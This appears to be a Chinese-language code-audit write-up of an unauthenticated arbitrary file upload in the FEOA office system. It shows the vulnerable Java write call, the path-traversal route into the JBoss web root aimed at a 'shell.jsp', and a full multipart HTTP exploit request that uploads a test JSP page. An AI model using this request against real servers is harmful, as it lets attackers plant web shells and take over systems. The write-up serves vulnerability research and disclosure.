FEOA代码审计-前台任意文件上传

前言

漏洞验证

代码分析

item.write(new File(path, fileName));

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"xxx":"xxx"}}}

原目录
C:/FE/Media/UFMAIL/2022/08/29/

FEOA网站根目录
C:/FE/jboss/web/fe.war/

需要穿越到目录
C:/FE/Media/UFMAIL/2022/08/29/../../../../../jboss/web/fe.war/shell.jsp
｜
C:/FE/jboss/web/fe.war/shell.jsp

漏洞利用

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 325

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello321.jsp"
Content-Type: text/plain

<% out.println("test321");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

http://127.0.0.1/hello321.jsp;

总结

mail.doUpload(request, response);